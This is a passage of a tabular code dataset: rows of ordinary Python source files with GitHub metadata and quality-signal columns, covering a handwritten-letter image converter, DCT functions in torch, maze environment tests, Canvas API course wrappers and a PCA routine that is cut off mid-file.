hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a882262fcce4344837006d73445121d10cf7bee1
| 41
|
py
|
Python
|
src/hark_lang/examples/__init__.py
|
krrome/teal-lang
|
594ac0f0baae047fdb19ac9126d174408d487905
|
[
"Apache-2.0"
] | 85
|
2020-04-29T13:51:33.000Z
|
2020-08-28T04:40:11.000Z
|
src/hark_lang/examples/__init__.py
|
krrome/teal-lang
|
594ac0f0baae047fdb19ac9126d174408d487905
|
[
"Apache-2.0"
] | 15
|
2020-05-06T07:58:18.000Z
|
2020-08-28T10:29:28.000Z
|
src/hark_lang/examples/__init__.py
|
krrome/teal-lang
|
594ac0f0baae047fdb19ac9126d174408d487905
|
[
"Apache-2.0"
] | 4
|
2020-05-31T09:42:08.000Z
|
2020-08-27T17:04:26.000Z
|
from .load_examples import load_examples
| 20.5
| 40
| 0.878049
| 6
| 41
| 5.666667
| 0.666667
| 0.705882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097561
| 41
| 1
| 41
| 41
| 0.918919
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
a886649ac621f0da8344fa85585b2e33dd0b8462
| 133
|
py
|
Python
|
fawkes/fetch/remote.py
|
AalokAhluwalia/fawkes
|
f2b81e0ea718d490036eae65ab0c8e2bf8dc47a4
|
[
"MIT"
] | 87
|
2020-03-26T17:11:53.000Z
|
2022-03-06T15:53:17.000Z
|
fawkes/fetch/remote.py
|
AalokAhluwalia/fawkes
|
f2b81e0ea718d490036eae65ab0c8e2bf8dc47a4
|
[
"MIT"
] | 26
|
2020-03-27T13:40:22.000Z
|
2022-03-12T08:50:55.000Z
|
fawkes/fetch/remote.py
|
LaudateCorpus1/fawkes
|
bd4d5269e51d7d11c365aca18b8b4c9150ba62e2
|
[
"MIT"
] | 31
|
2020-03-26T21:28:20.000Z
|
2022-03-06T15:09:27.000Z
|
import urllib.request
def fetch(review_channel):
return urllib.request.urlopen(review_channel.file_path).read().decode("utf-8")
| 26.6
| 82
| 0.781955
| 19
| 133
| 5.315789
| 0.789474
| 0.257426
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008197
| 0.082707
| 133
| 4
| 83
| 33.25
| 0.819672
| 0
| 0
| 0
| 0
| 0
| 0.037594
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
a88bd2c0fa4311d4f429d8737ed59f69b5cec737
| 132
|
py
|
Python
|
mailviews/helpers.py
|
archchoa/django-mailviews
|
9993d5e911d545b3bc038433986c5f6812e7e965
|
[
"Apache-2.0"
] | 93
|
2015-01-13T10:51:07.000Z
|
2022-02-01T06:29:51.000Z
|
mailviews/helpers.py
|
archchoa/django-mailviews
|
9993d5e911d545b3bc038433986c5f6812e7e965
|
[
"Apache-2.0"
] | 16
|
2015-07-23T00:54:49.000Z
|
2018-08-28T13:11:16.000Z
|
mailviews/helpers.py
|
archchoa/django-mailviews
|
9993d5e911d545b3bc038433986c5f6812e7e965
|
[
"Apache-2.0"
] | 32
|
2015-07-01T09:35:23.000Z
|
2022-01-11T15:58:38.000Z
|
from django.conf import settings
def should_use_staticfiles():
return 'django.contrib.staticfiles' in settings.INSTALLED_APPS
| 22
| 66
| 0.810606
| 17
| 132
| 6.117647
| 0.823529
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121212
| 132
| 5
| 67
| 26.4
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0.19697
| 0.19697
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
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| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
a8d0a00898ec97ef5869a913300a2f5251309dcb
| 3,778
|
py
|
Python
|
project_handwritten-character-recognition-with-convolutional-neural-network-master/Codes/image_creation_in_directories.py
|
akash519-gif/Handwritten-letter-detection.
|
f49240bc3dcea5eb8f53bade66ccb49bf8809be6
|
[
"Apache-2.0"
] | null | null | null |
project_handwritten-character-recognition-with-convolutional-neural-network-master/Codes/image_creation_in_directories.py
|
akash519-gif/Handwritten-letter-detection.
|
f49240bc3dcea5eb8f53bade66ccb49bf8809be6
|
[
"Apache-2.0"
] | null | null | null |
project_handwritten-character-recognition-with-convolutional-neural-network-master/Codes/image_creation_in_directories.py
|
akash519-gif/Handwritten-letter-detection.
|
f49240bc3dcea5eb8f53bade66ccb49bf8809be6
|
[
"Apache-2.0"
] | null | null | null |
"""
Here I am going to convert array to image from it's pixel value and put those images in their respective directory for
both in train and test set.
train set -------> [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z]
test set -------> [A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z]
"""
# Import required packages
import os
import numpy as np
import cv2
word_dict = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J', 10: 'K', 11: 'L',
12: 'M', 13: 'N', 14: 'O', 15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T', 20: 'U', 21: 'V', 22: 'W', 23: 'X',
24: 'Y', 25: 'Z'}
def test_images_creation():
# Open file of test.csv in read mode
file = open('test.csv', 'r')
count = 0
labels = []
# Directory where test image save
parent_dir = os.path.join(os.getcwd(), 'test')
while True:
# read line of file
line = file.readline()
# Break if line not found
if not line:
break
# Split line on ',' and create list of row values
row = line.split(',')
# extract label and pixel value from row
# label = str(row[0]) --orignal
lab_num = int(row[0])
label = word_dict.get(lab_num)
pixel = row[1:]
# Convert pixel in numpy array of 28 x 28
pixel = np.asarray(pixel, dtype=np.uint8).reshape((28, 28, 1))
# join path of directories
path = os.path.join(parent_dir, label)
# count line number and use with image name
count += 1
# list of contents(directory and file both) in directory
labels = os.listdir(parent_dir)
if label in labels:
# save image in its directory
cv2.imwrite(f'{path}/image_{count}.png', pixel)
print(f"{count} - not created directory only image add")
else:
try:
os.mkdir(path)
except OSError as error:
print(error)
# save image in its directory
cv2.imwrite(f'{path}/image_{count}.png', pixel)
print(f"{count} - created directory and image add")
file.close()
test_images_creation()
def train_images_creation():
# Open file of train.csv in read mode
file = open('train.csv', 'r')
count = 0
labels = []
# Directory where train image save
parent_dir = os.path.join(os.getcwd(), 'train')
while True:
# read line of file
line = file.readline()
# Break if line not found
if not line:
break
# Split line on ',' and create list of row values
row = line.split(',')
# extract label and pixel value from row
# label = str(row[0]) --orignal
lab_num = int(row[0])
label = word_dict.get(lab_num)
pixel = row[1:]
# Convert pixel in numpy array of 28 x 28
pixel = np.asarray(pixel, dtype=np.uint8).reshape((28, 28, 1))
# join path of directories
path = os.path.join(parent_dir, label)
# count line number and use with image name
count += 1
# list of contents(directory and file both) in directory
labels = os.listdir(parent_dir)
if label in labels:
# save image in its directory
cv2.imwrite(f'{path}/image_{count}.png', pixel)
print(f"{count} - not created directory only image add")
else:
try:
os.mkdir(path)
except OSError as error:
print(error)
# save image in its directory
cv2.imwrite(f'{path}/image_{count}.png', pixel)
print(f"{count} - created directory and image add")
file.close()
# train_images_creation()
| 28.19403
| 120
| 0.547644
| 564
| 3,778
| 3.624113
| 0.267731
| 0.026419
| 0.019569
| 0.027397
| 0.831703
| 0.808219
| 0.787671
| 0.758317
| 0.758317
| 0.723092
| 0
| 0.029973
| 0.320011
| 3,778
| 133
| 121
| 28.406015
| 0.765668
| 0.326893
| 0
| 0.793651
| 0
| 0
| 0.130036
| 0.038293
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031746
| false
| 0
| 0.047619
| 0
| 0.079365
| 0.095238
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
766641974064a5d92afd53daa2475773b0a83c58
| 1,928
|
py
|
Python
|
dctorch/functional.py
|
GallagherCommaJack/dctorch
|
b56d9a0e6b17263fb56ab84ec4b9c547351567d0
|
[
"MIT"
] | null | null | null |
dctorch/functional.py
|
GallagherCommaJack/dctorch
|
b56d9a0e6b17263fb56ab84ec4b9c547351567d0
|
[
"MIT"
] | null | null | null |
dctorch/functional.py
|
GallagherCommaJack/dctorch
|
b56d9a0e6b17263fb56ab84ec4b9c547351567d0
|
[
"MIT"
] | null | null | null |
import torch
import scipy.fft
import numpy as np
from functools import lru_cache
@lru_cache()
def compute_dct_mat(n: int, device: str, dtype: torch.dtype) -> torch.Tensor:
m = scipy.fft.dct(np.eye(n), norm="ortho")
return torch.tensor(m, device=device, dtype=dtype)
@lru_cache()
def compute_idct_mat(n: int, device: str, dtype: torch.dtype) -> torch.Tensor:
m = scipy.fft.idct(np.eye(n), norm="ortho")
return torch.tensor(m, device=device, dtype=dtype)
def dct(t: torch.Tensor) -> torch.Tensor:
m = compute_dct_mat(t.shape[-2], device=t.device, dtype=t.dtype)
return torch.einsum("...id,ij->jd", t, m)
def idct(t: torch.Tensor) -> torch.Tensor:
m = compute_idct_mat(t.shape[-2], device=t.device, dtype=t.dtype)
return torch.einsum("...id,ij->jd", t, m)
def dct2(t: torch.Tensor) -> torch.Tensor:
h, w = t.shape[-2:]
mh = compute_dct_mat(h, device=t.device, dtype=t.dtype)
mw = compute_dct_mat(w, device=t.device, dtype=t.dtype)
return torch.einsum("...hw,hi,wj->...ij", t, mh, mw)
def idct2(t: torch.Tensor) -> torch.Tensor:
h, w = t.shape[-2:]
mh = compute_idct_mat(h, device=t.device, dtype=t.dtype)
mw = compute_idct_mat(w, device=t.device, dtype=t.dtype)
return torch.einsum("...hw,hi,wj->...ij", t, mh, mw)
def dct3(t: torch.Tensor) -> torch.Tensor:
l, h, w = t.shape[-3:]
ml = compute_dct_mat(l, device=t.device, dtype=t.dtype)
mh = compute_dct_mat(h, device=t.device, dtype=t.dtype)
mw = compute_dct_mat(w, device=t.device, dtype=t.dtype)
return torch.einsum("...lhw,li,hj,wk->...ijk", t, ml, mh, mw)
def idct3(t: torch.Tensor) -> torch.Tensor:
l, h, w = t.shape[-3:]
ml = compute_idct_mat(l, device=t.device, dtype=t.dtype)
mh = compute_idct_mat(h, device=t.device, dtype=t.dtype)
mw = compute_idct_mat(w, device=t.device, dtype=t.dtype)
return torch.einsum("...lhw,li,hj,wk->...ijk", t, ml, mh, mw)
| 33.824561
| 78
| 0.651971
| 338
| 1,928
| 3.627219
| 0.156805
| 0.143556
| 0.127243
| 0.176183
| 0.867863
| 0.867863
| 0.867863
| 0.817292
| 0.817292
| 0.817292
| 0
| 0.006165
| 0.158714
| 1,928
| 56
| 79
| 34.428571
| 0.749692
| 0
| 0
| 0.55
| 0
| 0
| 0.060166
| 0.023859
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.1
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
76a89a39a6206784388661d6d9e5bbd97487a868
| 1,861
|
py
|
Python
|
rlschool/metamaze/test.py
|
HaojieSHI98/RLSchool
|
23c21c8028c8398a94dd7ed7aeb2624dc72f1160
|
[
"Apache-2.0"
] | 169
|
2019-07-15T02:23:54.000Z
|
2021-10-31T08:31:19.000Z
|
rlschool/metamaze/test.py
|
HaojieSHI98/RLSchool
|
23c21c8028c8398a94dd7ed7aeb2624dc72f1160
|
[
"Apache-2.0"
] | 23
|
2019-07-22T05:11:13.000Z
|
2021-11-01T04:53:39.000Z
|
rlschool/metamaze/test.py
|
HaojieSHI98/RLSchool
|
23c21c8028c8398a94dd7ed7aeb2624dc72f1160
|
[
"Apache-2.0"
] | 48
|
2019-07-15T02:21:42.000Z
|
2021-09-16T06:40:51.000Z
|
import gym
import sys
import rlschool.metamaze
def test_2d_maze(max_iteration):
print("Testing 2D Maze...")
maze_env = gym.make("meta-maze-2D-v0", enable_render=False)
cell_scale = 9
task = maze_env.sample_task(cell_scale=cell_scale)
maze_env.set_task(task)
iteration = 0
while iteration < max_iteration:
iteration += 1
maze_env.reset()
done=False
sum_reward = 0
while not done:
state, reward, done, _ = maze_env.step(maze_env.action_space.sample())
sum_reward += reward
print("Episode is over! You got %.1f score."%sum_reward)
if(sum_reward > 0.0):
cell_scale += 2 # gradually increase the difficulty
print("Increase the difficulty, cell_scale = %d"%cell_scale)
task = maze_env.sample_task(cell_scale=cell_scale)
maze_env.set_task(task)
def test_3d_maze(max_iteration):
print("Testing 3D Maze...")
maze_env = gym.make("meta-maze-3D-v0", enable_render=False)
cell_scale = 9
task = maze_env.sample_task(cell_scale=cell_scale, cell_size=2.0, wall_height=3.2)
maze_env.set_task(task)
iteration = 0
while iteration < max_iteration:
iteration += 1
maze_env.reset()
done=False
sum_reward = 0
while not done:
state, reward, done, _ = maze_env.step(maze_env.action_space.sample())
sum_reward += reward
print("Episode is over! You got %.1f score."%sum_reward)
if(sum_reward > 0.0):
cell_scale += 2 # gradually increase the difficulty
print("Increase the difficulty, cell_scale = %d"%cell_scale)
task = maze_env.sample_task(cell_scale=cell_scale, cell_size=2.0, wall_height=3.2)
maze_env.set_task(task)
if __name__=="__main__":
test_2d_maze(100)
test_3d_maze(100)
| 35.788462
| 90
| 0.645889
| 266
| 1,861
| 4.225564
| 0.225564
| 0.099644
| 0.069395
| 0.060498
| 0.909253
| 0.859431
| 0.859431
| 0.813167
| 0.813167
| 0.813167
| 0
| 0.028612
| 0.248791
| 1,861
| 51
| 91
| 36.490196
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| 0.041667
| false
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| 0.0625
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| 0.125
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| 1
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| 0
|
0
| 7
|
76be58077bf93defbe914943337905b9575cbd72
| 4,911
|
py
|
Python
|
courses/__init__.py
|
ubccapico/python-canvasapi-base
|
1ff6a6c6ccb229d20d9792f8d8c1b2de4c3d126c
|
[
"MIT"
] | 4
|
2018-07-13T14:37:54.000Z
|
2021-05-17T08:48:44.000Z
|
courses/__init__.py
|
ubccapico/python-canvasapi-base
|
1ff6a6c6ccb229d20d9792f8d8c1b2de4c3d126c
|
[
"MIT"
] | null | null | null |
courses/__init__.py
|
ubccapico/python-canvasapi-base
|
1ff6a6c6ccb229d20d9792f8d8c1b2de4c3d126c
|
[
"MIT"
] | null | null | null |
from CanvasAPI.util import callhelper
from CanvasAPI.courses import settings, users
from CanvasAPI import instance
__all__ = ["get", "get_sections", "put", "delete", "settings", "users"]
def get(course_id, *args):
'''Gets a course'''
url_str = "courses/{}{}".format(course_id, callhelper.args_to_params(*args))
return instance.call_api(url_str)
def get_sections(course_id, *args):
'''Gets a course'''
url_str = "courses/{}/sections{}".format(course_id, callhelper.args_to_params(*args))
return instance.all_pages(url_str)
def put(course_id, post_fields, *args):
'''Updates a course
Keyword Arguments:
course_id - id of course
post_fields: - fields to post
course[account_id] : integer
course[name] : string
course[course_code] : string
course[start_at] : DateTime
course[end_at] : DateTime
course[license] : string
course[is_public] : boolean
course[is_public_to_auth_users] : boolean
course[public_syllabus] : boolean
course[public_syllabus_to_auth] : boolean
course[public_description] : string
course[allow_student_wiki_edits] : boolean
course[allow_wiki_comments] : boolean
course[allow_student_forum_attachments] : boolean
course[open_enrollment] : boolean
course[self_enrollment] : boolean
course[restrict_enrollments_to_course_dates] : boolean
course[term_id] : integer
course[sis_course_id] : string
course[integration_id] : string
course[hide_final_grades] : boolean
course[time_zone] : string
course[apply_assignment_group_weights] : boolean
course[storage_quota_mb] : integer
offer : boolean
course[event] : string
course[default_view] : string
course[syllabus_body] : string
course[grading_standard_id] : integer
course[course_format] : string
course[image_id] : integer
course[image_url] : string
course[remove_image] : boolean
course[blueprint] : boolean
course[blueprint_restrictions] : BlueprintRestriction
course[use_blueprint_restrictions_by_object_type] : boolean
course[blueprint_restrictions_by_object_type] : multiple BlueprintRestrictions
'''
url_str = "courses/{}{}".format(course_id, callhelper.args_to_params(*args))
return instance.call_api(url_str, method="PUT", post_fields=post_fields)
def post(account_id, post_fields):
'''Create a new course
Keyword Arguments:
course_id - id of course
post_fields: - fields to post
course[name] : string
course[course_code] : string
course[start_at] : DateTime
course[end_at] : DateTime
course[license] : string
course[is_public] : boolean
course[is_public_to_auth_users] : boolean
course[public_syllabus] : boolean
course[public_syllabus_to_auth] : boolean
course[public_description] : string
course[allow_student_wiki_edits] : boolean
course[allow_wiki_comments] : boolean
course[allow_student_forum_attachments] : boolean
course[open_enrollment] : boolean
course[self_enrollment] : boolean
course[restrict_enrollments_to_course_dates] : boolean
course[term_id] : integer
course[sis_course_id] : string
course[integration_id] : string
course[hide_final_grades] : boolean
course[time_zone] : string
course[apply_assignment_group_weights] : boolean
course[storage_quota_mb] : integer
offer : boolean
course[event] : string
course[default_view] : string
course[syllabus_body] : string
course[grading_standard_id] : integer
course[course_format] : string
course[image_id] : integer
course[image_url] : string
course[remove_image] : boolean
course[blueprint] : boolean
course[blueprint_restrictions] : BlueprintRestriction
course[use_blueprint_restrictions_by_object_type] : boolean
course[blueprint_restrictions_by_object_type] : multiple BlueprintRestrictions
'''
url_str = "accounts/{}/courses".format(account_id)
return instance.call_api(url_str, method="POST", post_fields=post_fields)
def delete(course_id):
'''Deletes a course'''
url_str = "courses/{}".format(course_id)
return instance.call_api(url_str, method="DELETE")
| 41.974359
| 91
| 0.623498
| 516
| 4,911
| 5.620155
| 0.197674
| 0.143448
| 0.036207
| 0.028966
| 0.887241
| 0.871379
| 0.871379
| 0.86931
| 0.834138
| 0.813793
| 0
| 0
| 0.295459
| 4,911
| 116
| 92
| 42.336207
| 0.83815
| 0.632458
| 0
| 0.105263
| 0
| 0
| 0.12145
| 0.020568
| 0
| 0
| 0
| 0
| 0
| 1
| 0.263158
| false
| 0
| 0.157895
| 0
| 0.684211
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
4f5a6e0cf449275fca1db56782b928b125b5b23a
| 239
|
py
|
Python
|
product/product_labels.py
|
saiihamza/open_data_parsing
|
6757c6c6823a0523ca1d2af79e99b761b57a794d
|
[
"Apache-2.0"
] | null | null | null |
product/product_labels.py
|
saiihamza/open_data_parsing
|
6757c6c6823a0523ca1d2af79e99b761b57a794d
|
[
"Apache-2.0"
] | null | null | null |
product/product_labels.py
|
saiihamza/open_data_parsing
|
6757c6c6823a0523ca1d2af79e99b761b57a794d
|
[
"Apache-2.0"
] | null | null | null |
class ProductLabels(object):
def __init__(self, labels, labels_tags, labels_fr):
self.Labels = labels
self.LabelsTags = labels_tags
self.LabelsFr = labels_fr
def __str__(self):
return self .Labels
| 23.9
| 55
| 0.656904
| 28
| 239
| 5.178571
| 0.464286
| 0.206897
| 0.22069
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.263598
| 239
| 9
| 56
| 26.555556
| 0.823864
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0.142857
| 0.571429
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
4fa0736518db36e725e9fd662bdeb20f6fe9eb15
| 7,351
|
py
|
Python
|
Python-ML/PP04/code/PCA.py
|
JasonFil/Python-ML
|
74a4b127b24c186d1a62ee8c458f79aaf2eee89b
|
[
"AFL-3.0"
] | 4
|
2017-06-04T01:06:57.000Z
|
2019-11-14T20:05:30.000Z
|
Python-ML/PP04/code/PCA.py
|
jasonfilippou/Python-ML
|
74a4b127b24c186d1a62ee8c458f79aaf2eee89b
|
[
"AFL-3.0"
] | null | null | null |
Python-ML/PP04/code/PCA.py
|
jasonfilippou/Python-ML
|
74a4b127b24c186d1a62ee8c458f79aaf2eee89b
|
[
"AFL-3.0"
] | 5
|
2016-05-27T19:00:07.000Z
|
2018-10-30T13:49:38.000Z
|
'''
Created on Nov 29, 2012
@author: jason
'''
from inspect import stack
import pandas as pd
import numpy as np
import os
from util.mlExceptions import DatasetError, LogicalError
from scipy.sparse import lil_matrix
from scipy.sparse.linalg import eigs
from numpy.linalg import eig
# Global constant for current function name
CURR_FUNC_NAME = stack()[0][3]
def pca(df, k, axis = 0):
"""
This PCA implementation is geared towards solving question 1 of the programming assignment.
Effectively, the df array is constrained to contain only three columns: userid, movieid and
rating. We will then create a sparse |unique_user_id| X |unique_movie_id| matrix (or the other
way round, dependent on the value of "axis", which we will then embed in k dimensions.
@param df: a two-dimensional pandas DataFrame with columns userid, itemid and rating
@param axis: which axis to treat as examples (0 or 1)
@param k: number of dimensions in embedding
@return numpy matrix of shape (m,k) where m is the number of unique userids in df when axis=0
and m is the number of unique itemids in df when axis=1
@raise DatasetError when the dataset provided is None or empty
@raise LogicalError when axis is neither 0 nor 1, or k <= 0
"""
# Sanity checking
if axis not in [0, 1]:
raise LogicalError, "Method %s: \"axis\" variable should be either 0 or 1 (provided: %s)." %(CURR_FUNC_NAME, str(axis))
if k <= 0 or not isinstance(k, int):
raise LogicalError, "Method %s: number k of embedding dimensions should be a positive integer (provided: %s)." %(CURR_FUNC_NAME, str(k))
if df is None or df.shape[0] == 0 or df.shape[1] == 0:
raise DatasetError, "Method %s: empty dataset provided." %(CURR_FUNC_NAME)
if len(df.columns.values) != 3:
raise DatasetError, "Method %s: the dataframe provided should have exactly 3 columns." %(CURR_FUNC_NAME)
if 'userid' not in df.columns.values[0] or 'itemid' not in df.columns.values or 'rating' not in df.columns.values:
raise DatasetError, "Method %s: the dataframe provided should have 3 columns named \"userid\", \"itemid\" and \"rating\"." %(CURR_FUNC_NAME)
# Load the dataframe values in a hash. It will make life easier.
ratingsHash = {}
for _row_indx, (userid, itemid, rating) in df.iterrows():
ratingsHash[(userid, itemid)] = rating
# We now need to make our m x n sparse array.
rowIndex = 'userid' if axis == 0 else 'itemid'
columnIndex = 'itemid' if axis == 0 else 'userid'
uniqueRows = df[rowIndex].unique()
uniqueCols = df[columnIndex].unique()
sparseArr = np.zeros((len(uniqueRows), len(uniqueCols))) # zerofill initially
for i in range(len(uniqueRows)):
for j in range(len(uniqueCols)):
if (uniqueRows[i], uniqueCols[j]) in ratingsHash:
sparseArr[i][j] = ratingsHash[(uniqueRows[i], uniqueCols[j])]
# Compute the covariance matrix
print "sparseArr shape: " + str(sparseArr.shape)
covMat = np.cov(sparseArr.T)
# A compressed representation is needed because we need to center sparse data.
csr_rep = lil_matrix(sparseArr).tocsr()
for c in range(csr_rep.shape[axis]):
sparseArr[c, :][sparseArr[c, :].nonzero()] -= np.mean(csr_rep.getcol(c).data)
# Find eigenvalues, compute and return k-dimensional embedding
print "covMat shape: " + str(covMat.shape)
eigenVals, eigenVecs = eigs(covMat, k)
# Re-arrange eigenvectors so that you get the most significant components first.
eigenVecs = eigenVecs[:, np.argsort(-eigenVals)]
return sparseArr.dot(eigenVecs)
def pca2(df, k, axis = 0):
